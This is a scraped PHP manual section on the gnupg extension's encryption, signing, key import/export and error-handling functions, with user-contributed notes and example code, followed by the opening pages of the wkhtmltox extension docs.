putenv('GNUPGHOME=/home/sender/.gnupg');

// create new GnuPG object
$gpg = new gnupg();

// throw exception if error occurs
$gpg->seterrormode(gnupg::ERROR_EXCEPTION);

// get list of keys containing string 'example'
try {
  $keys = $gpg->keyinfo('example');
  print_r($info);
} catch (Exception $e) {
  echo 'ERROR: ' . $e->getMessage();
}
?>

Encrypt a Simple Mail

<?php
// set path to keyring directory
// set path to keyring directory
putenv('GNUPGHOME=/home/sender/.gnupg');

// create new GnuPG object
$gpg = new gnupg();

// throw exception if error occurs
$gpg->seterrormode(gnupg::ERROR_EXCEPTION);

// recipient's email address
$recipient = 'dgar@example.org';

// plaintext message
$plaintext =
"Dear Dave,\n
  The answer is 42.\n
John";

// find key matching email address
// encrypt plaintext message
// display and also write to file
try {
  $gpg->addencryptkey($recipient);
  $ciphertext = $gpg->encrypt($plaintext);
  echo '<pre>' . $ciphertext . '</pre>';
  file_put_contents('/tmp/ciphertext.gpg', $ciphertext);
} catch (Exception $e) {
  die('ERROR: ' . $e->getMessage());
}
?>

Decryption The Mail

<?php
// set path to keyring directory
putenv('GNUPGHOME=/home/recipient/.gnupg');

// create new GnuPG object
$gpg = new gnupg();

// throw exception if error occurs
$gpg->seterrormode(gnupg::ERROR_EXCEPTION);

// recipient's email address
$recipient = 'dgar@example.org';

// ciphertext message
$ciphertext = file_get_contents('/tmp/ciphertext.gpg');

// register secret key by providing passphrase
// decrypt ciphertext with secret key
// display plaintext message
try {
  $gpg->adddecryptkey($recipient, 'guessme');
  $plaintext = $gpg->decrypt($ciphertext);
  echo '<pre>' . $plaintext . '</pre>';
} catch (Exception $e) {
  die('ERROR: ' . $e->getMessage());
}
?>
Mahbub Kabir 08-Apr-2014 11:38
// to generate a key type in gpg --gen-key in the command line
// to export public key gpg --export -a "User Name" > public.key

<?php
putenv("GNUPGHOME=/tmp");

// it assumes public key exists in the /tmp/keys folder
$publicKey = file_get_contents(getenv('GNUPGHOME') . '/keys/public.key');

    $gpg = new gnupg();
    $gpg->seterrormode(gnupg::ERROR_EXCEPTION);
    $info = $gpg->import($publicKey);
    $gpg->addencryptkey($info['fingerprint']);

    $uploadFileContent = file_get_contents('/tmp/file-to-encrypt');
    $enc = $gpg->encrypt($uploadFileContent);
    echo $enc

Hope this helps
nick johnson 17-Apr-2008 11:44
After spending some time trying to get this extension to work, I've found that you have to have the GNUPGHOME environment variable set so that the keychain can be found, and have it set equal to the .gnupg directory itself, not the apache/httpd user's home directory (which is what is shown in dan's example code).  below is an example of this and a simple function I was working on at the time to encrypt a piece of data for storage in a database.

<?php
    // set the environment so gnupg can find the keyring
    putenv("GNUPGHOME=/home/apache/.gnupg");

    function encrypt_string($str,$fingerprint) {
        $res = gnupg_init();
        gnupg_addencryptkey($res,$fingerprint);
        $enc = gnupg_encrypt($res, $str);
        return $enc;
    }
?>
dan at f-box dot org 19-Feb-2008 07:20
This is a simple example of a Procedural use of import addencryptkey and encrypt. Obviously in a real world use you would only be importing the key once.

<?php

putenv("GNUPGHOME=/tmp");
$pubkey = "-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.6 (GNU/Linux)

mQGiBEe68W8RBACVuFuv4d+roDSCdRO1SuO8dQwds4VTjVOqgVKQtq6+8Fe95RY8
BAf1IyLj4bxvWPhr0wZdVwTosD/sFoPtdCyhVcF932nP0GLHsTEeVwSz9mid22HI
O4Kmwj2kE+I+C9QdzAg0zaWQnVaF9UC7pIdMR6tEnADI8nkVDdZ+zb2ziwCg6Yqu
tk3KAzKRT1SNUzTE/n9y2PED/1tIWiXfGBGzseX0W/e1G+MjuolWOXv4BXeiFGmn
8wnHsQ4Z4Tzk+ag0k+6pZZXjcL6Le486wpZ9MAe6LM31XDpQDVtyCL8t63nvQpB8
TUimbseBZMb3TytCubNLGFe5FnNLGDciElcD09d2xC6Xv6zE2jj4GtBW1bXqYWtl
jm0PA/4u6av6o6pIgLRfAawspr8kaeZ8+FU4NbIiS6xZmBUEQ/o7q95VKGgFVKBi
ugDOlnbgSzBIwSlsRVT2ivu/XVWnhQaRCotSm3AzOc2XecqrJ6F1gqk0n+yP/1h1
yeTvvfS5zgqNTG2UmovjVsKFzaDqmsYZ+sYfwc209z9PY+6FuLQnQXBhY2hlVGVz
dCAoVGVzdGluZykgPGFwYWNoZUBsb2NhbGhvc3Q+iF4EExECAB4FAke68W8CGwMG
CwkIBwMCAxUCAwMWAgECHgECF4AACgkQJE9COu2PFIEGDwCglArzAza13xjbdR04
DQ1U9FWQhMYAnRrWQeGTRm+BYm6SghNpDOKcmMqruQENBEe68XAQBADPIO+JFe5t
BQmI4l60bNMNSUqsL0TtIP8G6Bpd8q2xBOemHCLfGT9Y5DN6k0nneBQxajSfWBQ5
ZdKFwV5ezICz9fnGisEf9LPSwctfUIcvumbcPPsrUOUZX7BuCHrcfy1nebS3myO/
ScTKpW8Wz8AjpKTBG55DMkXSvnx+hS+PEwADBQP/dNnVlKYdNKA70B4QTEzfvF+E
5lyiauyT41SQoheTMhrs/3RIqUy7WWn3B20aTutHWWYXdYV+E85/CarhUmLNZGA2
tml1Mgl6F2myQ/+MiKi/aj9NVhcuz38OK/IAze7kNJJqK+UEWblB2Wfa31/9nNzv
ewVHa1xHtUyVDaewAACISQQYEQIACQUCR7rxcAIbDAAKCRAkT0I67Y8UgRwEAKDT
L6DwyEZGLTpAqy2OLUH7SFKm2ACgr3tnPuPFlBtHx0OqY4gGiNMJHXE=
=jHPH
-----END PGP PUBLIC KEY BLOCK-----";

$enc = (null);
$res = gnupg_init();
echo "gnupg_init RTV = <br/><pre>\n";
var_dump($res);
echo "</pre>\n";
$rtv = gnupg_import($res, $pubkey);
echo "gnupg_import RTV = <br/><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$rtv = gnupg_addencryptkey($res, "C25F29936D9046D73A77DCF8244F423AED8F1481");
echo "gnupg_addencryptkey RTV = <br /><pre>\n";
var_dump($rtv);
echo "</pre>\n";
$enc = gnupg_encrypt($res, "just a test to see if anything works");
echo "Encrypted Data: " . $enc . "<br/>";

?>
paul at cressbrook dot co dot uk 14-Feb-2007 04:52
Hi

I found that the apache or httpd user (or whichever user the webserver is using to run) needed to have write access to the .gnupg directory for the gnupg_php functions to work. This could be your problem.  It seems a rather unsatisfactory feature of this module - gnupg keeps giving warnings that it is unsafe.
jkushner at livemercial dot com 03-Jan-2007 11:49
Very nice function, yet I cant seem to get it to work correctly.
Here is what I have..

/**
 * Test Values. Will be grabbed from database.
 */
$_STR_recipientKeyId='78F21BCA81042C23';

// This is a wrapper class I made that engulfs the gnupg class
if(!class_exists('core_Gnupg')){
    require(CORE_PATH_CLASS.'Gnupg.class.php');
}

//$_OBJ_gpg is just an instantiation of that class.
//returnInfo takes in the userID name, and uses the keyinfo() //function to return an array of data for that user.
$_ARR_keyinfo=$_OBJ_gpg->returnInfo($_STR_recipientUserId);

//now I have the fully functional userid
//ex: Jonathan Kushner <jkushner@livemercial.com>
$_STR_recipientUserId=$_ARR_keyinfo[0]['uids'][0]['uid'];

###########################

See, originally I was using the fingerprint from the $_ARR_keyinfo above and passing that into the encrypt function, but it still associated the encrypted data with my personal private key that I have associated with apache.

Any ideas?


Encrypts and signs a given text

  • ? gnupg_encrypt
  • gnupg_export ?
  • PHP Manual
  • GnuPG 函数
  • Encrypts and signs a given text

gnupg_encryptsign

(PECL gnupg >= 0.2)

gnupg_encryptsign — Encrypts and signs a given text

说明

gnupg_encryptsign(resource $identifier, string $plaintext): string|false

Encrypts and signs the given plaintext with the keys, which were set with gnupg_addsignkey and gnupg_addencryptkey before and returns the encrypted and signed text.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

plaintext

The text being encrypted.

返回值

On success, this function returns the encrypted and signed text. On failure, this function returns false.

示例

Example #1 Procedural gnupg_encryptsign() example

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$enc = gnupg_encryptsign($res, "just a test");
echo $enc;
?>

Example #2 OO gnupg_encryptsign() example

<?php
$gpg = new gnupg();
$gpg->addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
$gpg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$enc = $gpg->encryptsign("just a test");
echo $enc;
?>

User Contributed Notes

upul at tfs dot co 19-Sep-2023 05:34
$gpg->addencryptkey('Sender public key fingerprint ');
$gpg->addsignkey('My Private key fingerprint',$passphrase);
$enc = $gpg->encryptsign(test.csv);

With the above code file gets encrypted but the file does not get signed. moreover, if I use my public key fingerprint for addencryptkey file gets encrypted and signed. Any idea for this issue?


Exports a key

  • ? gnupg_encryptsign
  • gnupg_getengineinfo ?
  • PHP Manual
  • GnuPG 函数
  • Exports a key

gnupg_export

(PECL gnupg >= 0.1)

gnupg_export — Exports a key

说明

gnupg_export(resource $identifier, string $fingerprint): string|false

Exports the key fingerprint.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

fingerprint

指纹键名。

返回值

On success, this function returns the keydata. On failure, this function returns false.

示例

Example #1 Procedural gnupg_export() example

<?php
$res = gnupg_init();
$export = gnupg_export($res,"8660281B6051D071D94B5B230549F9DC851566DC");
echo $export;
?>

Example #2 OO gnupg_export() example

<?php
$gpg = new gnupg();
$export = $gpg->export("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

php at cdauth dot de 02-Dec-2007 02:21
Just to ensure you, because it is not mentioned in the manual: of course, only the public key is exported, even if you have the private key in your keyring.


Returns the engine info

  • ? gnupg_export
  • gnupg_geterror ?
  • PHP Manual
  • GnuPG 函数
  • Returns the engine info

gnupg_getengineinfo

(PECL gnupg >= 1.5)

gnupg_getengineinfo — Returns the engine info

说明

gnupg_getengineinfo(resource $identifier): array

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

返回值

Returns an array with engine info consting of protocol, file_name and home_dir.

示例

Example #1 Procedural gnupg_getengineinfo() example

<?php
$res = gnupg_init();
print_r(gnupg_getengineinfo($res));
?>

以上示例会输出：

array(3) {
  ["protocol"]=>
  int(0)
  ["file_name"]=>
  string(12) "/usr/bin/gpg"
  ["home_dir"]=>
  string(0) ""
}

Example #2 OO gnupg_getengineinfo() example

<?php
$gpg = new gnupg(["file_name" => "/usr/bin/gpg2", "home_dir" => "/var/www/.gnupg"]);
print_r($gpg->getengineinfo());
?>

以上示例会输出：

array(3) {
  ["protocol"]=>
  int(0)
  ["file_name"]=>
  string(13) "/usr/bin/gpg2"
  ["home_dir"]=>
  string(15) "/var/www/.gnupg"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the errortext, if a function fails

  • ? gnupg_getengineinfo
  • gnupg_geterrorinfo ?
  • PHP Manual
  • GnuPG 函数
  • Returns the errortext, if a function fails

gnupg_geterror

(PECL gnupg >= 0.1)

gnupg_geterror — Returns the errortext, if a function fails

说明

gnupg_geterror(resource $identifier): string|false

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

返回值

Returns an errortext, if an error has occurred, otherwise false.

示例

Example #1 Procedural gnupg_geterror() example

<?php
$res = gnupg_init();
echo gnupg_geterror($res);
?>

Example #2 OO gnupg_geterror() example

<?php
$gpg = new gnupg();
echo $gpg->geterror();
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the error info

  • ? gnupg_geterror
  • gnupg_getprotocol ?
  • PHP Manual
  • GnuPG 函数
  • Returns the error info

gnupg_geterrorinfo

(PECL gnupg >= 1.5)

gnupg_geterrorinfo — Returns the error info

说明

gnupg_geterrorinfo(resource $identifier): array

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

返回值

Returns an array with error info.

示例

Example #1 Procedural gnupg_geterrorinfo() example

<?php
$res = gnupg_init();
// this is called without any error
print_r(gnupg_geterrorinfo($res));
?>

以上示例会输出：

array(4) {
  ["generic_message"]=>
  bool(false)
  ["gpgme_code"]=>
  int(0)
  ["gpgme_source"]=>
  string(18) "Unspecified source"
  ["gpgme_message"]=>
  string(7) "Success"
}

Example #2 OO gnupg_geterrorinfo() example

<?php
$gpg = new gnupg();
// error call
$gpg->decrypt('abc');
// error info should be displayed
print_r($gpg->geterrorinfo());
?>

以上示例会输出：

array(4) {
  ["generic_message"]=>
  string(14) "decrypt failed"
  ["gpgme_code"]=>
  int(117440570)
  ["gpgme_source"]=>
  string(5) "GPGME"
  ["gpgme_message"]=>
  string(7) "No data"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns the currently active protocol for all operations

  • ? gnupg_geterrorinfo
  • gnupg_gettrustlist ?
  • PHP Manual
  • GnuPG 函数
  • Returns the currently active protocol for all operations

gnupg_getprotocol

(PECL gnupg >= 0.1)

gnupg_getprotocol — Returns the currently active protocol for all operations

说明

gnupg_getprotocol(resource $identifier): int

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

返回值

Returns the currently active protocol, which can be one of GNUPG_PROTOCOL_OpenPGP or GNUPG_PROTOCOL_CMS.

示例

Example #1 Procedural gnupg_getprotocol() example

<?php
$res = gnupg_init();
echo gnupg_getprotocol($res);
?>

Example #2 OO gnupg_getprotocol() example

<?php
$gpg = new gnupg();
echo $gpg->getprotocol();
?>

User Contributed Notes

There are no user contributed notes for this page.


Search the trust items

  • ? gnupg_getprotocol
  • gnupg_import ?
  • PHP Manual
  • GnuPG 函数
  • Search the trust items

gnupg_gettrustlist

(PECL gnupg >= 0.5)

gnupg_gettrustlist — Search the trust items

说明

gnupg_gettrustlist(resource $identifier, string $pattern): ?array

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

pattern

Expression to limit the list of trust items to only the ones matching the pattern.

返回值

On success, this function returns an array of trust items. On failure, this function returns null.

示例

Example #1 Procedural gnupg_gettrustlist() example

<?php
$res = gnupg_init();
$items = gnupg_gettrustlist($res);
print_r($items);
?>

Example #2 OO gnupg_gettrustlist() example

<?php
$gpg = new gnupg();
$items = $gpg->gettrustlist();
print_r($items);
?>

User Contributed Notes

There are no user contributed notes for this page.


Imports a key

  • ? gnupg_gettrustlist
  • gnupg_init ?
  • PHP Manual
  • GnuPG 函数
  • Imports a key

gnupg_import

(PECL gnupg >= 0.3)

gnupg_import — Imports a key

说明

gnupg_import(resource $identifier, string $keydata): array|false

Imports the key keydata and returns an array with information about the importprocess.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

keydata

The data key that is being imported.

返回值

On success, this function returns and info-array about the importprocess. On failure, this function returns false.

示例

Example #1 Procedural gnupg_import() example

<?php
$res = gnupg_init();
$info = gnupg_import($res,$keydata);
print_r($info);
?>

Example #2 OO gnupg_import() example

<?php
$gpg = new gnupg();
$info = $gpg->import($keydata);
print_r($info);
?>

User Contributed Notes

gst 02-Aug-2021 05:08
In case anybody tries to import keys from file and ends up with return value "false", and absolutely no errors or warnings whatsoever.

gpg module still operates the same way as command line / bash invoked gpg.

If you are runnig a script from under apache, gpg is trying to acces it's ~/.gnupg that likely does not exist for apache user www-data or equivalent:

# su www-data -s /bin/bash -c "gpg"
gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied

You simply need to created that folder and chown it to apache user www-data or equivalent.

# mkdir /var/www/.gnupg
# chown www-data:www-data /var/www/.gnupg
dimitri at digirati dot com dot br 03-Oct-2008 07:54
I recommend that the key may be generated in shell command line, then you export the keys using this group of commands.

gpg --export -a "User Name" > public.key
gpg --export-secret-key -a "User Name" > private.key

to use it, at the import and use it for encryption and decryption.

<?php

$GnuPG = new gnupg();

$PublicData = file_get_contents('public.key');
$PrivateData = file_get_contents('public.key');

$PublicKey = $GnuPG->import($PublicData);
$PrivateKey = $GnuPG->import($PrivateData);

echo 'Public Key : ',$PublicKey['fingerprint'],' & Private Key : ',$PrivateKey['fingerprint'];

?>
php at cdauth dot de 02-Dec-2007 07:33
The return array consists of the following values:
(
  [imported] => (int),
  [unchanged] => (int),
  [newuserids] => (int),
  [newsubkeys] => (int),
  [secretimported] => (int),
  [secretunchanged] => (int),
  [newsignatures] => (int),
  [skippedkeys] => (int),
  [fingerprint] => (string)
)

When invalid content is passed, all values, even skippedkeys, is 0. The fingerprint value does not exist then.


Initialize a connection

  • ? gnupg_import
  • gnupg_keyinfo ?
  • PHP Manual
  • GnuPG 函数
  • Initialize a connection

gnupg_init

(PECL gnupg >= 0.4)

gnupg_init — Initialize a connection

说明

gnupg_init(?array $options = null): resource

参数

options

Must be an associative array. It is used to change the default configuration of the crypto engine.

Configuration overrides
key | type | description
file_name | string | It is the file name of the executable program implementing this protocol which is usually path of the gpg executable.
home_dir | string | It is the directory name of the configuration directory. It also overrides GNUPGHOME environment variable that is used for the same purpose.

返回值

A GnuPG resource connection used by other GnuPG functions.

更新日志

版本 | 说明
1.5.0 | The options parameter was added.

示例

Example #1 Procedural gnupg_init() example with default setting

<?php
$res = gnupg_init();
?>

Example #2 Procedural gnupg_init() example with overriden file name and home dir

<?php
$res = gnupg_init(["file_name" => "/usr/bin/gpg2", "home_dir" => "/var/www/.gnupg"]);
?>

Example #3 OO gnupg initializer example with default setting

<?php
$gpg = new gnupg();
?>

Example #4 OO gnupg initializer example with overriden file name and home dir

<?php
$gpg = new gnupg(["file_name" => "/usr/bin/gpg2", "home_dir" => "/var/www/.gnupg"]);
?>

User Contributed Notes

djmaze 21-Jan-2022 09:46
Make sure home_dir option is not too many characters or else private keys fail.

You will notice that functions take a long time (seconds).

Commandline test yield error:
> gpg: can't connect to the agent: IPC connect call failed

Executing `gpg-agent --daemon --homedir /very/long/path/to/.gnupg` gave the error.
> socket name for '/very/long/path/to/.gnupg/S.gpg-agent.extra' is too long

So you must check that home_dir + '/S.gpg-agent.extra' is:
* < 107 characters on Linux
* < 104 on BSD 4.4
der_axel at gmx dot de 10-Nov-2017 08:26
Set the correct GNUPG environment, before you call gnupg_init()!

The current FPM/FastCGI/Module User must have read - if you import write - permissions on that directory. You won't get an error message, if something is not correct.
Without a correct environment, all other gnupg functions will not work as you expected.

<?php
// Enter your .gnupg environment
putenv('GNUPGHOME=/var/www/vhosts/yourdomain/.gnupg');
error_reporting(E_ALL);
$res = gnupg_init();
gnupg_seterrormode($res,GNUPG_ERROR_WARNING);
$info = gnupg_keyinfo($res, 'your-key-id');
echo "Key - Info<pre>";
var_dump($info);
echo "</pre>";
?>


Returns an array with information about all keys that matches the given pattern

  • ? gnupg_init
  • gnupg_listsignatures ?
  • PHP Manual
  • GnuPG 函数
  • Returns an array with information about all keys that matches the given pattern

gnupg_keyinfo

(PECL gnupg >= 0.1)

gnupg_keyinfo — Returns an array with information about all keys that matches the given pattern

说明

gnupg_keyinfo(resource $identifier, string $pattern): array|false

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

pattern

The pattern being checked against the keys.

返回值

Returns an array with information about all keys that matches the given pattern or false, if an error has occurred.

示例

Example #1 Procedural gnupg_keyinfo() example

<?php
$res = gnupg_init();
$info = gnupg_keyinfo($res, 'test');
print_r($info);
?>

Example #2 OO gnupg_keyinfo() example

<?php
$gpg = new gnupg();
$info = $gpg->keyinfo("test");
print_r($info);
?>

User Contributed Notes

gtisza at gmail dot com 01-Aug-2015 01:31
Returns an array of information blocks. An information block looks like
<?php
array (
    'disabled' => <bool>,
    'expired' => <bool>,
    'revoked' => <bool>,
    'is_secret' => <bool>,
    'can_sign' => <bool>,
    'can_encrypt' => <bool>,
    'uids' => <array of uid blocks>,
    'subkeys' => <array of subkey blocks>,
)
?>
An uid data block looks like
<?php
array (
    'name' => <string>,
    'comment' => <string>,
    'email' => <string>,
    'uid' => <string>,
    'revoked' => <bool>,
    'invalid' => <bool>,
)
?>
A subkey block looks like
<?php
array (
    'fingerprint' => <string>,
    'keyid' => <string>,
    'timestamp' => <int>,
    'expires' => <int>,
    'is_secret' => <bool>,
    'invalid' => <bool>,
    'can_encrypt' => <bool>,
    'can_sign' => <bool>,
    'disabled' => <bool>,
    'expired' => <bool>,
    'revoked' => <bool>,
),
?>
fauger at NOSPAM dot anonymous dot com 04-Jul-2013 07:54
You CAN list all keys in the keyring, you only have to pass an empty string ''.

<?php
$gpg = new gnupg();
$info = $gpg -> keyinfo('');
print_r($info);
?>

That's it! ;)
porjo38 at yahoo dot com dot au 19-Feb-2013 10:00
It appears that listing *all* keys is not possible:

<?php
$gpg -> keyinfo();   // throws an error
$gpg -> keyinfo('*');  // is matched literally, not treated as a shell wildcard
$gpg -> keyinfo('.*');  // is matched literally, not treated as a regex wildcard
?>

This seems like a glaring omission to me.


List key signatures

  • ? gnupg_keyinfo
  • gnupg_setarmor ?
  • PHP Manual
  • GnuPG 函数
  • List key signatures

gnupg_listsignatures

(PECL gnupg >= 0.5)

gnupg_listsignatures — List key signatures

说明

gnupg_listsignatures(resource $identifier, string $keyid): ?array

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

keyid

The key ID to list signatures for.

返回值

On success, this function returns an array of key signatures. On failure, this function returns null.

示例

Example #1 Procedural gnupg_listsignatures() example

<?php
$res = gnupg_init();
$signatures = gnupg_listsignatures($res, "8660281B6051D071D94B5B230549F9DC851566DC");
print_r($signatures);
?>

Example #2 OO gnupg_listsignatures() example

<?php
$gpg = new gnupg();
$signatures = $gpg->listsignatures("8660281B6051D071D94B5B230549F9DC851566DC");
print_r($signatures);
?>

User Contributed Notes

There are no user contributed notes for this page.


Toggle armored output

  • ? gnupg_listsignatures
  • gnupg_seterrormode ?
  • PHP Manual
  • GnuPG 函数
  • Toggle armored output

gnupg_setarmor

(PECL gnupg >= 0.1)

gnupg_setarmor — Toggle armored output

说明

gnupg_setarmor(resource $identifier, int $armor): bool

Toggle the armored output.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

armor

Pass a non-zero integer-value to this function to enable armored-output (default). Pass 0 to disable armored output.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Procedural gnupg_setarmor() example

<?php
$res = gnupg_init();
gnupg_setarmor($res,1); // enable armored output;
gnupg_setarmor($res,0); // disable armored output;
?>

Example #2 OO gnupg_setarmor() example

<?php
$gpg = new gnupg();
$gpg->setarmor(1); // enable armored output;
$gpg->setarmor(0); // disable armored output;
?>

User Contributed Notes

jmgorena at gmail dot com 10-Jan-2008 02:51
Take note that when ARMOR is set to OFF, the output will be BINARY. This is wanted for converting file data to a binary gpg format.

With the ARMOR set to ON, the output is ASCII. This might be used for messaging (email, IM, IRC, etc).

Example with Armor on:
-----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.6 (GNU/Linux)

hQIOA+9JbyriNorZEAf/UuCyC0T80XffXVkmewfrRSvtsYbNSGZFvSr+32jJT2fs
...
...
=YJ4D
-----END PGP MESSAGE-----


Sets the mode for error_reporting

  • ? gnupg_setarmor
  • gnupg_setsignmode ?
  • PHP Manual
  • GnuPG 函数
  • Sets the mode for error_reporting

gnupg_seterrormode

(PECL gnupg >= 0.6)

gnupg_seterrormode — Sets the mode for error_reporting

说明

gnupg_seterrormode(resource $identifier, int $errormode): void

Sets the mode for error_reporting.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

errormode

The error mode.

errormode takes a constant indicating what type of error_reporting should be used. The possible values are GNUPG_ERROR_WARNING, GNUPG_ERROR_EXCEPTION and GNUPG_ERROR_SILENT. By default GNUPG_ERROR_SILENT is used.

返回值

没有返回值。

示例

Example #1 Procedural gnupg_seterrormode() example

<?php
$res = gnupg_init();
gnupg_seterrormode($res,GNUPG_ERROR_WARNING); // raise a PHP-Warning in case of an error
?>

Example #2 OO gnupg_seterrormode() example

<?php
$gpg = new gnupg();
$gpg->seterrormode(gnupg::ERROR_EXCEPTION); // throw an exception in case of an error
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the mode for signing

  • ? gnupg_seterrormode
  • gnupg_sign ?
  • PHP Manual
  • GnuPG 函数
  • Sets the mode for signing

gnupg_setsignmode

(PECL gnupg >= 0.1)

gnupg_setsignmode — Sets the mode for signing

说明

gnupg_setsignmode(resource $identifier, int $signmode): bool

Sets the mode for signing.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

sigmode

The mode for signing.

signmode takes a constant indicating what type of signature should be produced. The possible values are GNUPG_SIG_MODE_NORMAL, GNUPG_SIG_MODE_DETACH and GNUPG_SIG_MODE_CLEAR. By default GNUPG_SIG_MODE_CLEAR is used.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Procedural gnupg_setsignmode() example

<?php
$res = gnupg_init();
gnupg_setsignmode($res,GNUPG_SIG_MODE_DETACH); // produce a detached signature
?>

Example #2 OO gnupg_setsignmode() example

<?php
$gpg = new gnupg();
$gpg->setsignmode(gnupg::SIG_MODE_DETACH); // produce a detached signature
?>

User Contributed Notes

There are no user contributed notes for this page.


Signs a given text

  • ? gnupg_setsignmode
  • gnupg_verify ?
  • PHP Manual
  • GnuPG 函数
  • Signs a given text

gnupg_sign

(PECL gnupg >= 0.1)

gnupg_sign — Signs a given text

说明

gnupg_sign(resource $identifier, string $plaintext): string|false

Signs the given plaintext with the keys, which were set with gnupg_addsignkey before and returns the signed text or the signature, depending on what was set with gnupg_setsignmode.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

plaintext

The plain text being signed.

返回值

On success, this function returns the signed text or the signature. On failure, this function returns false.

示例

Example #1 Procedural gnupg_sign() example

<?php
$res = gnupg_init();
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = gnupg_sign($res, "just a test");
echo $signed;
?>

Example #2 OO gnupg_sign() example

<?php
$gpg = new gnupg();
$gpg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$signed = $gpg->sign("just a test");
echo $signed;
?>

User Contributed Notes

phplist2REMOVE AT REMtincanOVE.co.uk 08-Nov-2006 03:42
It's a bit confusing how the "keyinfo" for a key returns "can_sign".

If you have only added your Public Key, it will indicate "can_sign" for the key in "keyinfo", but that doesn't mean yet, that you can sign with the key. You will also need to add your Private Key to actually make signing work.


Verifies a signed text

  • ? gnupg_sign
  • wkhtmltox ?
  • PHP Manual
  • GnuPG 函数
  • Verifies a signed text

gnupg_verify

(PECL gnupg >= 0.1)

gnupg_verify — Verifies a signed text

说明

gnupg_verify(
resource $identifier,
string $signed_text,
string $signature,
string &$plaintext = ?
): array|false

Verifies the given signed_text and returns information about the signature.

参数

identifier

gnupg 标识符，由对 gnupg_init() 或 gnupg 的调用生成。

signed_text

The signed text.

signature

The signature. To verify a clearsigned text, set signature to false.

plaintext

The plain text. If this optional parameter is passed, it is filled with the plain text.

返回值

On success, this function returns information about the signature. On failure, this function returns false.

示例

Example #1 Procedural gnupg_verify() example

<?php
$plaintext = "";
$res = gnupg_init();
// clearsigned
$info = gnupg_verify($res,$signed_text,false,$plaintext);
print_r($info);
// detached signature
$info = gnupg_verify($res,$signed_text,$signature);
print_r($info);
?>

Example #2 OO gnupg_verify() example

<?php
$plaintext = "";
$gpg = new gnupg();
// clearsigned
$info = $gpg->verify($signed_text,false,$plaintext);
print_r($info);
// detached signature
$info = $gpg->verify($signed_text,$signature);
print_r($info);
?>

User Contributed Notes

izumeroot at gmail dot com 25-Jan-2022 08:50
Where can I see description of result array?

I've got

Array
(
    [0] => Array
        (
            [fingerprint] => 9BF78012F700B345827346E1EFA3026F01404358
            [validity] => 4
            [timestamp] => 1643100153
            [status] => 0
            [summary] => 3
        )

)

But what does "status" mean? What is "validity"? What is "summary"?
kae at verens dot com 19-Sep-2008 04:27
You can see who made the signature by checking its fingerprint:

<?php
$res = gnupg_init();
$info = gnupg_verify($res,$signed_text,$signature);
if($info !== false){
  $fingerprint = $info['fingerprint'];
  var_dump(gnupg_keyinfo($res, $fingerprint));
}


wkhtmltox

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
  • wkhtmltox\PDF\Converter — The wkhtmltox\PDF\Converter class
    • wkhtmltox\PDF\Converter::add — Add an object for conversion
    • wkhtmltox\PDF\Converter::__construct — Create a new PDF converter
    • wkhtmltox\PDF\Converter::convert — Perform PDF conversion
    • wkhtmltox\PDF\Converter::getVersion — Determine version of Converter
  • wkhtmltox\PDF\Object — The wkhtmltox\PDF\Object class
    • wkhtmltox\PDF\Object::__construct — Create a new PDF Object
  • wkhtmltox\Image\Converter — The wkhtmltox\Image\Converter class
    • wkhtmltox\Image\Converter::__construct — Create a new Image converter
    • wkhtmltox\Image\Converter::convert — Perform Image conversion
    • wkhtmltox\Image\Converter::getVersion — Determine version of Converter

User Contributed Notes

There are no user contributed notes for this page.


简介

libwkhtmltox is an open source LGPLv3 library for rendering HTML into PDF and various image formats using the QtWebKit rendering engine.

User Contributed Notes

There are no user contributed notes for this page.


需求

libwkhtmltox source and binary releases are distributed at » wkhtmltopdf.org.

Caution

Windows users need to take the additional step of adding wkhtmltox.dll to their PATH.

User Contributed Notes

There are no user contributed notes for this page.


安装

The source code of this extension, and binaries for Windows are hosted by » github,

Fetching the source code and building the extension:

git clone https://github.com/krakjoe/wkhtmltox
cd wkhtmltox
phpize
./configure --with-wkhtmltox=/path/to/wkhtmltox/installation
make
sudo make install

Fetching updates and rebuilding the extension:

cd wkhtmltox
phpize --clean
git pull origin master
phpize
./configure --with-wkhtmltox=/path/to/wkhtmltox/installation
make
sudo make install

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

Name | Description | Default | Stage | Changelog
wkhtmltox.graphics | allow libwkhtmltox to use graphics | Off | PHP_INI_SYSTEM | PHP_INI_PERDIR | >= 0.3.2

User Contributed Notes

